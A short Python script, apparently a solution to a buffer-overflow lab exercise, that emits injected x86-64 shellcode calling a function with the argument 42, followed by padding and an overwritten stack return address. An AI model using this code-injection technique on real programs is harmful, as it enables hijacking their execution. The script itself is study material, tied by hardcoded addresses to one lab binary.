#!/usr/bin/python3
import sys
N = 24
CODE = b"\x48\xc7\xc7\x2a\x00\x00\x00\x48\xc7\xc0\xb0\x11\x40\x00\xff\xd0"
PADDING = b"\x00" * (N - len(CODE))

RETURN_ADDRESS = b"\x10\xe9\xff\xff\xff\x7f\x00\x00"
sys.stdout.buffer.write(CODE + PADDING + RETURN_ADDRESS + b"\n")